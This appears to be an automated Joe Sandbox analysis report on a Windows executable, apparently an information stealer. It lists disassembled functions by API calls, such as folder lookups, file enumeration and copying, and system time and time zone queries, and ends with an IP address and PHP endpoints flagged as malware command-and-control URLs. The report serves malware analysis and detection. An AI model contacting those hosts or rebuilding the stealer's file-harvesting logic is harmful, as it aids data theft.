Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 295465e2c392afe472870706c1eb777868b99a61b0a103c81585df39d90fc3af
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 295465e2c392afe472870706c1eb777868b99a61b0a103c81585df39d90fc3af
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,024E9160), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: b0342ffc00c1ba5c51a09cb54271c449f0d754700971868c6145d4cda71998d2
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: b0342ffc00c1ba5c51a09cb54271c449f0d754700971868c6145d4cda71998d2
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 004187C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 040B1A07 Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00420DC0), ref: 040B1A2C
ExitProcess.KERNEL32 ref: 040B1A38
strtok_s.MSVCRT ref: 040B1A4F

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID:
API String ID: 3407564107-0
Opcode ID: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction ID: cae6dfbb8b0a00095e2cb9d19b485fa3c323730ae417f077d85d91caaf9260b4
Opcode Fuzzy Hash: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction Fuzzy Hash: EB111974910209EFCB04DFE4D958AEDBBB5FF04345F108469E90666250E7746B44CF99

Function 040B7BE7 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 040B7C17
RtlAllocateHeap.NTDLL(00000000), ref: 040B7C1E
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 040B7C2B
wsprintfA.USER32 ref: 040B7C5A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: efd6fa82a41644d0d8a12d399307d1e0f203a3e4359654b2944dbc3b1f35d64b
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: B51139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 040B7C97 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 040B7CCA
RtlAllocateHeap.NTDLL(00000000), ref: 040B7CD1
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 040B7CE4
wsprintfA.USER32 ref: 040B7D1E

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: d725e83bd7477e29e6fe4cf39c3d2d3301730e7238b95cd51f017cb8132a7aa5
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: B411A1B1A45218EFEB20CF54DC49FA9B7B8FB45761F10039AF50AA32C0D77429408F95

Function 040B3880 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00420F5C), ref: 040B3889
StrCmpCA.SHLWAPI(?,00420F60), ref: 040B38A3
StrCmpCA.SHLWAPI(?,00420F64), ref: 040B38BD
strtok_s.MSVCRT ref: 040B3938

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction ID: b13d6505b9113501f18a68a0468945dc4cfd4a70f73e25e7f5570e5a14d59f63
Opcode Fuzzy Hash: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction Fuzzy Hash: 1D11E3B4E40209AFDB14CFA6D948AEEB7B5AB04705F20C029E865B6250D774A501CF99

Function 040B9547 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(040B3D55,80000000,00000003,00000000,00000003,00000080,00000000,?,040B3D55,?), ref: 040B9563
GetFileSizeEx.KERNEL32(000000FF,040B3D55), ref: 040B9580
CloseHandle.KERNEL32(000000FF), ref: 040B958E

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: c35739d4fd9a1a220ea190c405fa1c0b575aa3c7284c4ff1d845dd26a8a8b32f
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 4DF04479F80204BBDB10DFF0DC49BDE7BBAEB49710F11C654FA51A7180D635A6018B45

Function 040B6D5A Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 040B6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 040B6D4F
CloseHandle.KERNEL32(00000000), ref: 040B6D60
Sleep.KERNEL32(00001770), ref: 040B6D6B
CloseHandle.KERNEL32(?,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 040B6D81
ExitProcess.KERNEL32 ref: 040B6D89

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction ID: 7c74dc0bdb11df7926eec5be570de047b56d63da5538329065b78eb9a9c11912
Opcode Fuzzy Hash: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction Fuzzy Hash: C3F05E78B40205BEFB10ABE0DC08BFD76B5EB05749F101A18F582B5190DBB16540CADF

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DD2, 00406E5E, 00406E94, 00406EAF, 00406DAE

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,024EC290), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,024E90F0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: 7aa901901dc909a98e828e7de91596a84bf0f77b9a11efe6e26eea0aae08d754
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: 7aa901901dc909a98e828e7de91596a84bf0f77b9a11efe6e26eea0aae08d754
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418BB1, 00418BE1, 00418BE4
cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,024EBD50), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: 51266d4d9ddb75a6f059c37d3d6b80fd1acaef9bed24dae35b8ecbb315133994
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: 51266d4d9ddb75a6f059c37d3d6b80fd1acaef9bed24dae35b8ecbb315133994
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 040ABCE7 Relevance: 5.3, APIs: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040AA077: memcmp.MSVCRT(?,00421264,00000003), ref: 040AA094

lstrlen.KERNEL32(00000000), ref: 040ABF06

Part of subcall function 040B9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 040B90B9

StrStrA.SHLWAPI(00000000,004213E0), ref: 040ABF34
lstrlen.KERNEL32(00000000), ref: 040AC00C
lstrlen.KERNEL32(00000000), ref: 040AC020

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID:
API String ID: 1440504306-0
Opcode ID: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction ID: 357f8c8d2a0022ce8b450c7d378dfd989f2e43a6b79c4b6c83a45e9786b42d48
Opcode Fuzzy Hash: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction Fuzzy Hash: 9AB17F71A10208ABEF18FBA4DD91EEE7379AF5420CF544159E546B2090EF387B48CFA5

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 040B51A7 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 040B9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 040B9072

lstrcat.KERNEL32(?,00000000), ref: 040B51E1
lstrcat.KERNEL32(?,00421070), ref: 040B51FE
lstrcat.KERNEL32(?,0064A5F8), ref: 040B5212
lstrcat.KERNEL32(?,00421074), ref: 040B5224

Part of subcall function 040B4B77: wsprintfA.USER32 ref: 040B4B93
Part of subcall function 040B4B77: FindFirstFileA.KERNEL32(?,?), ref: 040B4BAA

Part of subcall function 040B4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 040B4BD8
Part of subcall function 040B4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 040B4BEE
Part of subcall function 040B4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 040B4DE4
Part of subcall function 040B4B77: FindClose.KERNEL32(000000FF), ref: 040B4DF9

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction ID: 8cb6cc071227cc375e800201d24145c681b98eb5fb9208af7a72624dbf430283
Opcode Fuzzy Hash: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction Fuzzy Hash: 7521C87AA40208BBD714FBF0DC45EED337DAB55304F404188B6C5A6190DE74AAC9CBE6

Function 040B94C7 Relevance: 5.0, APIs: 4, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?), ref: 040B94D3
lstrcpyn.KERNEL32(0064AB88,?,?), ref: 040B94F7
lstrlen.KERNEL32(?), ref: 040B950E
wsprintfA.USER32 ref: 040B952E

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID:
API String ID: 1206339513-0
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: 06066706b2fcea93d4fc10a591e51c4c6a031ca4d0c5ee7aac7cc6ab23db3f53
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: 8901DE79540108FFCB04DFECD994EAE7BBAEF45394F108148F9499B301C635AA40DB95

Source: http://193.233.113.184/J(	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/6d687e53250c2111.php/s	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/6d687e53250c2111.phpc	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/6d687e53250c2111.php	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/6d687e53250c2111.php5S	Avira URL Cloud: Label: malware
Source: http://193.233.113.184/ws	Avira URL Cloud: Label: malware
Source: http://193.233.113.184	Avira URL Cloud: Label: malware

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C820
